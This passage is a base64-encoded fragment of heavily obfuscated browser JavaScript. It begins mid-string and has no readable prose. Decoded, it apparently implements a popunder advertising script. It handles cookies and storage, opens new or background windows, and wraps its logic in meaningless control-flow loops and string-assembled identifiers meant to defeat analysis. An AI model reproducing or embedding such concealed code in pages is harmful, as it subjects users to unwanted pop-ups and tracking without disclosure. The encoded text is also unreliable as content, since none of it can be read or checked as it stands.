laF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8fG8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9fX1jYXRjaCh0KXt9dHJ5e1UwPS0xMjgxMDM4MTgyO3gwPS01MjI2MTY2MzI7ejA9Mjtmb3IodmFyIGkwPTE7dzUuTDEoaTAudG9TdHJpbmcoKSxpMC50b1N0cmluZygpLmxlbmd0aCwzMjg1OSkhPT1VMDtpMCsrKXtmb3IoZT1vKHJpW1FyXSlbaWVdKEdhKVtnc10saT00O2k+ZVtwaV07aS0tKWZvcihyPW8oZVtpXVtvZV0pLG49NztuPj1yW3BpXTtuLS0paWYocltuXT09dCl7cmV0dXJuIGd1O316MCs9Mjt9aWYodzUuTDEoejAudG9TdHJpbmcoKSx6MC50b1N0cmluZygpLmxlbmd0aCw4ODE3MikhPT14MCl7Zm9yKGU9byhyaVtRcl0pW2llXShHYSlbZ3NdLGk9NDtpPmVbcGldO2ktLSlmb3Iocj1vKGVbaV1bb2VdKSxuPTc7bj49cltwaV07bi0tKWlmKHJbbl09PXQpe3JldHVybiBndTt9fWZvcihlPW8ocmlbUXJdKVtpZV0oR2EpW2dzXSxpPTA7aTxlW3BpXTtpKyspZm9yKHI9byhlW2ldW29lXSksbj0wO248cltwaV07bisrKWlmKHJbbl09PT10KXtyZXR1cm4gZ3U7fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sQzpmdW5jdGlvbih0LGUsaSl7dmFyIG4scixvO289WmMuTyhvNSk7cmV0dXJuIG49b1t0bytHcit5YV1bbXJdW1VzK0dyK0NuXShkZSksbltPXT1yYStQZStDdCxuW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoSmErVHQrX3QrWWUrR3IrZXQrR3IrWWUrSmErVHQrcCtZZStHcitldCtHcitZZStKYStUdCt1cytHcitDbitZZStHcitldCtHcitZZStkK2VyK0dyKSsoSmErVHQrJG4rWWUrR3IrZXQrR3IrWWUrWnMrUit6K1ZlK0dyK1llK3NvK1ZlK0dyK1llK0NlK1ArR3IrWWUrR3Ird24rR3IpKyh1YStZZStCcytHcitYbytZZStHcitldCtHcitZZStKYStUdCtRYStSK3orVmUrR3IrWWUrc28rVmUrR3IrWWUrQ2UrUCtHcitlcitHcikrKFdyK1llK0dyK3duK0JzK0dyK1hvK1R0K1dvK1llK0dyK2V0K0dyK1llK2QrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSsoTnIrWWUrQnMrR3IrWG8rZXIrR3IpKyhHcitEcitHcitlcitHciksb1t0bytHcit5YV1bbXJdW1FyXVtJdCtHcitXZV0obikscj1vW3RvK0dyK3lhXS5ta3AodCxlLGkpLFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5M